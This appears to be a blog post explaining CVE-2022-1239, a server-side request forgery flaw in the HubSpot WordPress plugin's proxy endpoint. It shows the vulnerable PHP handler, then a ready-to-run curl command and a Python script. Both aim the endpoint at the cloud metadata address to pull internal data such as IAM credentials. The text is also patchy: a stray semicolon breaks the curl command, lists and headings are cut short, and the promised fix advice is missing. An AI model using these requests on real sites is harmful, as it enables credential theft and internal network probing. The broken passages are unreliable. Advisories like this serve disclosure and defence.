If you use WordPress with the HubSpot plugin, a security bug could be putting your website at risk. This bug, tracked as CVE-2022-1239, allows users with basic content editing permissions (like contributors) to make your website send requests to internal resources (think secret databases or cloud metadata servers). This kind of attack is called Server-Side Request Forgery (SSRF).

In this post, I'll explain exactly what went wrong, show you the affected code (in plain language), and walk through how an attacker could exploit this issue on your site. I’ll also give you resources for digging deeper and tips for fixing this flaw.

What Is CVE-2022-1239 All About?

The HubSpot WordPress plugin is used on over 200,000 sites. Before version 8.8.15, it had an insecure REST API endpoint (/wp-json/hubspot/v1/proxy) meant for proxying requests. This endpoint took a user-supplied url parameter but never checked if the destination was safe.

This means a logged-in user with the edit_posts capability (like authors or contributors) could use this endpoint to make your server fetch any URL – whether local, private, or external. This is not only a risk for internal data leaks, but also things like hitting the AWS metadata API or other internal services behind your firewall.

The Technical Details — Where Did HubSpot Go Wrong?

The vulnerable code (found in versions before 8.8.15) lives in the REST endpoint handler — here’s a slightly simplified version, just so you can see the problem:

// In HubSpot plugin files, e.g., proxy/class-endpoint.php

public function proxy_request( WP_REST_Request $request ) {
    $url = $request->get_param( 'url' );

    // [!!!] No validation or filtering of the URL!
    $response = wp_remote_get( $url );

    // Returns the proxied response back to the requester
    return rest_ensure_response( wp_remote_retrieve_body( $response ) );
}

As you can see: ANY URL can be passed by the user to this endpoint.

There’s no checking for

- Is the URL internal (like http://localhost or http://169.254.169.254 for cloud metadata services)?

Step 1: Craft the Malicious Request

curl -k -X POST 'https://example.com/wp-json/hubspot/v1/proxy'; \
  -H 'Content-Type: application/json' \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'

- 169.254.169.254 is used for cloud metadata APIs (common in AWS/GCP/Azure).

Step 2: Get Sensitive Data

If your WordPress is running in AWS, the server will fetch AWS instance metadata and return it to the attacker, including sensitive stuff like IAM credentials.

What Else Could Be Targeted?

- Internal-only dashboards (http://localhost:800/secret)

Python Example

import requests

# Replace URL with the target site's endpoint
endpoint = 'https://victimsite.com/wp-json/hubspot/v1/proxy';

# Malicious internal resource
payload = {'url': 'http://169.254.169.254/latest/meta-data/'}

r = requests.post(endpoint, json=payload)
print(r.text)

What you get:
The response will be the data from the internal resource, delivered straight to the attacker.

The Impact — Why It’s a Big Deal

- Information Disclosure: Attackers can trick WordPress into leaking sensitive internal data (database endpoints, credentials, environment variables).
- Port Scanning: Attacker can scan local/internal ports using your server, which is behind firewalls.
- Further Attacks: If the endpoint allows POST and attackers can control the packet, they might even perform more complex actions (triggering admin-only API actions, etc.).

Any user role able to edit posts (contributor and above)

*If your site has open registration or many contributors, your risk is higher.*

Plugin Changelog

- https://wordpress.org/plugins/leadin/#developers

More info from Wordfence

- https://www.wordfence.com/blog/2022/04/ssrf-vulnerability-patched-in-hubspot-plugin/

Official CVE Record

- https://nvd.nist.gov/vuln/detail/CVE-2022-1239

References

- Wordfence Threat Report
- Plugin Changelog
- NVD CVE-2022-1239

Conclusion

The CVE-2022-1239 SSRF bug in HubSpot’s WordPress plugin is a classic example of why you should never trust user input, even from “logged-in” users. By not validating the proxy URL, the plugin let attackers reach things your website should never expose.

If you want to learn more about SSRF, check out

- PortSwigger SSRF Guide
- OWASP SSRF Cheatsheet

Timeline

Published on: 05/02/2022 16:15:00 UTC
Last modified on: 05/09/2022 14:38:00 UTC